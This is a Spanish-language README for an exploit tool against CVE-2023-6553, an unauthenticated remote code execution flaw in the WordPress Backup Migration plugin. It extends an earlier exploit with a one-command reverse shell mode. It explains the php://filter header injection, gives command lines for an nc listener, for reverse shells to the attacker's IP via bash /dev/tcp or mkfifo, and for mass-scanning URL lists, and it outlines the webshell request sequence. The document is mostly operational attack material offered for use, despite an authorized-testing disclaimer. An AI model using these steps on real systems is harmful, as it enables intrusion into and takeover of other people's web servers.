
Este exploit está basado en CVE-2023-6553 y fue construido sobre el exploit original de Chocapik, añadiéndose que se puede obtener una reverse shell directa.
Una versión extendida del exploit CVE-2023-6553 de Chocapikk que añade un modo de shell reversa con un solo comando sobre la webshell interactiva original.
CVE-2023-6553 — Ejecución remota de código no autenticada en el plugin Backup Migration de WordPress (versiones ≤ 1.3.7).
El plugin expone backup-heart.php, que lee una cadena de filtros PHP del encabezado HTTP Content-Dir y la pasa a include() sin autenticación ni sanitización. Esto permite a un atacante no autenticado ejecutar código PHP arbitrario inyectando una cadena php://filter manipulada.
Exploit original por Chocapikk — toda la lógica central de explotación (generación de cadenas de filtros, escritura de archivos, shell interactiva) es su trabajo. Este repositorio solo lo extiende con un modo de activación de shell reversa.
Las únicas adiciones son:
trigger_reverse_shell() — después de desplegar la webshell (mismo proceso que el original), envía una única solicitud GET con el comando de shell reversa como parámetro 0, exactamente como lo haría la shell interactiva.main() — intercambia interactive_shell() por trigger_reverse_shell() cuando está presente -r.Todo lo demás — verificación de vulnerabilidad, bucle de escritura de archivos, copia/eliminación, modo interactivo, escaneo multi-URL — no se ha modificado respecto al original.
pip install requests rich alive-progress prompt-toolkit php-filter-chain
# Start your listener first
rlwrap nc -lvnp 4444
# Run the exploit
python3 exploit.py -u http://TARGET/blog -r -l YOUR_IP -p 4444
Si bash /dev/tcp no está disponible en el objetivo, usa mkfifo (depende de nc):
python3 exploit.py -u http://TARGET/blog -r -l YOUR_IP -p 4444 --shell mkfifo
python3 exploit.py -u http://TARGET/blog
python3 exploit.py -u http://TARGET/blog -c
python3 exploit.py -f urls.txt -t 10 -o vulnerable.txt
-u / --url URL base del objetivo (ej. http://target/blog)
-r / --revshell Habilita el modo shell reversa
-l / --lhost Tu IP para recibir la shell (requerido con -r)
-p / --lport Puerto del listener (por defecto: 4444)
--shell Tipo de shell: bash (por defecto) o mkfifo
-c / --check Solo verificar vulnerabilidad, no desplegar shell
-f / --file Archivo con lista de URLs a escanear
-t / --threads Hilos para escaneo multi-URL (por defecto: 5)
-o / --output Archivo de salida para resultados del escaneo
1. POST /wp-content/plugins/backup-backup/includes/backup-heart.php
Content-Dir: php://filter/...<encoded PHP>
→ Writes webshell char by char to a temp file
→ Copies temp file to <random>.php
2. GET /wp-content/plugins/backup-backup/includes/<random>.php?0=<cmd>
→ Executes command via backtick operator
→ Interactive mode: loops reading commands from stdin
→ Reverse shell mode: sends bash/mkfifo one-liner, connects to listener
3. Cleanup: unlink(<random>.php)
Esta herramienta está destinada únicamente a pruebas de penetración autorizadas e investigación de seguridad. No la utilices contra sistemas para los que no tengas permiso explícito para probar.
| Característica | Original (Chocapikk) | Esta versión |
|---|
| Webshell interactiva | ✅ | ✅ (sin cambios) |
| Shell reversa | ❌ | ✅ (-r) |
| Escaneo multi-URL | ✅ | ✅ (sin cambios) |
| Nuevos argumentos | — | -r, -l, -p, --shell |